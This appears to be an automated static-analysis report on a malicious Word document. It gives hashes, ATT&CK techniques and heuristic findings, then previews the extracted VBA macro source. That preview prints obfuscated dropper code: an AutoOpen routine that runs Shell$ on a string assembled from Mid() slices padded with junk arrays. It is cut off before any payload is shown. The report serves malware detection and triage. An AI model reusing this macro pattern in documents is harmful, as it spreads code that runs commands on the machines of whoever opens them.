Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4061a9e251fe64f5…

MALICIOUS

Office (OLE)

160.5 KB Created: 2017-11-20 20:19:00 Authoring application: Microsoft Office Word First seen: 2017-11-29
MD5: d90eb2f0dc9d27452ac06a335e168a24 SHA-1: 1ef55bcaf1b3fb85a1ee55a4c52906659163f5ec SHA-256: 4061a9e251fe64f5b7bc7dcd380652e72a45e8a80396b151a05b6e4b99d4a15e
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains a critical OLE_VBA_SHELL heuristic firing, indicating the use of the Shell() function within its VBA macros. The AutoOpen macro is present and configured to execute code, as evidenced by OLE_VBA_PCODE_AUTOEXEC_EXEC. The ClamAV detection further confirms its malicious nature. The primary IOC is the VBA macro file itself, which likely orchestrates the execution of a malicious payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 182705 bytes
SHA-256: 0ce8d358c1378ee899a0063fa558ae256741304b2aa18df6dc06056b2685daa7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 152 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rNQjuSlAK"
Sub AutoOpen()
sUkXwNcbR = Array("bFbdtkwb", "DOXwNaUG", "jhWYzWzX", "ERNXjQjd", "NnZKccmM")
DPMjLWiuP = Array("QQjGDUEH", "DZcWbunf", "tkaBJiDu", "JViJRMim", "TIPACXKT")
UDYDKpcUZ = Array("BRlEsFmM", "lzhmuqqq", "pCSfmcWZ", "HjGFAkTt", "NkPvwibC")
Shell$ LSnFnCSai, 0
cnQZcjZMh = Array("MVnJpmYu", "LzLwhMBd", "oYKavuGb", "QCwLwzaH", "uXnPjkYz")
qAklPDvbP = Array("woHPmmSO", "LsnoNwOW", "EEKZmzDA", "MjvJVMMG", "XwAISrHk")
UAUrlJdBW = Array("OKzlBczk", "HCDrJtzj", "jQQwFENz", "ZElcMPDF", "tmGBNVVU")
End Sub
Function LSnFnCSai()
mFpmrmLYr = "bp7bjLTCVqQXPPPvcwZbkXiKRCMFwBWMcvqGiXLBaNREMfklwIbmfiAvCQiaIYFUTEvTYJREnYAXGawmRaIoZkjwvuDNtktCHwlHjRNnrWzHdcpcRsJhQRviYwYdFDKCiwQKprCANUwCkYULT"
vkPNOrpY = Mid(mFpmrmLYr, 9, 135)
kJViidGwq = Array("zTPLvWjp", "BzajNoIc", "wLORjfmc", "MnOzjwRl", "LtCdjOPw")
bzitQaM = Array("ZBRiYUXD", "lzNNSKYS", "hmwIIhFF", "hoVUlfwi", "wRsfOHDs")
ILHoRhYha = "57GSAirBPfUoPVoiHdYswpPWFkkjKYTALcwmIjwlZwBYQcfJbUtbXWVFkXaitHrrLUcnWCWbfmTwnqFdFbIpfscpGtBl1On31dA6QsclTv4jv9Di"
PsDtJlj = Mid(ILHoRhYha, 6, 87)
smkvtAhUYn = Array("VUzBjCSp", "cAkCLTtM", "tHlEnRjc", "jWKJOrYc", "pSOfEQWw")
rSohLO = Array("MbZRHBNP", "MjELhRqE", "kWVMsIbl", "bIMtFOIc", "knrLsRUi")
ssMjTJs = "flZlCwsjNkd6XwvZfdGUwtNwwcRLwuTiwCOKILBOJtIKPzvnOmbKwNTBLrGnmzrXCXMCNioTPtLEkCjwhiwMSJfiiMwQFNbKClIrnsZjzIvECORJIJGICfFtriTAkXOBSBCztrJoEQOKObfTvoIwHSHWfPAIZZvautmBMRQQzRDlQviQwAFvOSuztjTRt0oz2vtbj80kC"
MmLRBnNM = Mid(ssMjTJs, 20, 168)
ufPwEfJwZaw = Array("NoRvUaha", "jnLEaUpp", "lwJLmAzz", "zafEHJrG", "pcmACOiz")
JMAzvaOuQpb = Array("uANmTHth", "BNLNkmbN", "qTztucSX", "vFOwiomW", "TLRlmLiq")
ZLUGM = "4XGmn3smfTjqRXowDfnIoYwwkQalnbzibtwzISkvWKhdaCrAlJwsiCAwVUAVUYjGWBOYaonlurmdrSYhYZzidFzZswioRPazbaHZoSazWMznPWGDwTwuZFcQBpjbKwTiRoWr"
ScFEipUqJXv = Mid(ZLUGM, 10, 121)
uvGSJP = Array("jMzIdDFj", "JzEvUQzm", "zpTIkzjK", "wftJYGrJ", "RYijzpkW")
mAqjwrnf = Array("jKPWliJZ", "JZzkEQhm", "fnJzKvKC", "HviwmRpJ", "FwZZhKYU")
QwSdzUwS = "AffawbMndPJD1RT9N8qWIY8PJ5lN4SCVhTHvbNTLIZjzVdYRWzWuLFakWRaNnBawPDVtBphwGkDVIzRiiLqiWHJbtXYKmFYGznjSHiPhSanbBEcXzrfcLrZHttziRWJBLwWUPzbDvIQwTiZouAKvZwvHNbYNilQvQmPFiHHAQbjCacnLULjlF"
AjJmzsdHKi = Mid(QwSdzUwS, 31, 149)
ZEVjwXuYT = Array("rdFuQfdS", "llZUviUI", "fIOVcwKj", "mfuqKUtn", "SOzXIsbE")
VQcipi = Array("JMWFikZj", "VTLmwYWu", "SVIllnIQ", "rlCjizzn", "hJLQZEAB")
azdiSjHK = "JbKFjBoCJNEdGJaITvQkBcbbCZpRqRwhhfpbhsvuFnHStUMvcZfjirfFAiDGMWMrPXwaUzbbAViNUIhhMupRlRDpAkawoohjbQDWXlbdzEfIMRkrBWtShuFzUGajYdmLovmEFKJbTLUhludiAjzSuPCjKFCRZ4cNoosHqR9Oc3"
VnhBVf = Mid(azdiSjHK, 2, 155)
LdfobsqdWOi = Array("vHodsMDr", "qoNTrETN", "PzWkBBhl", "jrRdKvFl", "wcAaEUfH")
dHWmDCkvd = Array("UNzXsBWQ", "nRHUvWju", "aCuBuaju", "jbUODtJv", "SOPoEJth")
WikEOAO = "5BhaJPPiiMsTOiqAjMsWmusotfdBShjCzalkWJOjdIZvBLLLZPLsWQLoddArGXHCdpWntGdZzLsdUwniURbDWqjhPzHtJXaFBXRLpXSTllvKXhcml236nrcpw3VXHXQ"
sNlSED = Mid(WikEOAO, 10, 101)
dXjhAbUIro = Array("lsUwtHVo", "BVHBVbAM", "nvjciIVw", "QjrNwTKs", "wpfonQBB")
siujP = Array("qNflnovh", "LTGoEiPd", "XVjJPIri", "KOFjwMZW", "uilVckLb")
MONqCa = "DFw68GmhaFMKVJWXjkYzqafDPHZptVaJWbuWhjKLRzEDjkUdWDMUTnLDjOiaAVMEfDouPAqCaNjsVcWimwTpJFpiPrpSwjKwlzYcwaNVNJuGHShErDoDBWvZNFiYLXEqCkHVDuiLizczLjbzJkbvvGuPEzOqwpKpFEEXLLAC9h"
POHjTIwfvYt = Mid(MONqCa, 9, 159)
OUrfoJ = Array("anGuvHmC", "zDzfJnsZ", "YCidaTYi", "AiIfWfbH", "blwvIqEn")
WbiFLl = Array("wsXpuWdW", "LwhEjsOG", "PbuQwHjR", "bsDXozQh", "wujivjki")
ViYhsERkIw = "zbzFUsU6QGKVtDMAGVHjqvpXZNBJqknMHfzCzOtGQJusOpbvMGuTCIqOVtNBVidhXipNFKDrbBSjAwIjlGwjpTJwpijDArkmjMUkANpCDDsBpJNYliQPhtsEVrYXdzqjQjAncYiYQujlbHIfUISWbVEnUQPJoRYDNJkJJawMvrwnMGdNisAH"
PiunkilNshQ = Mid(ViYhsERkIw, 13, 166)
IKIirPiXAd = Array("SUAzRjkK", "FrWpViLu", "DEtwQoXq", "fApjXbAF", "mJjwFkwv")
iJlIPuECSz = Array("PvhTJWKJ", "EVJjNVnd",
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.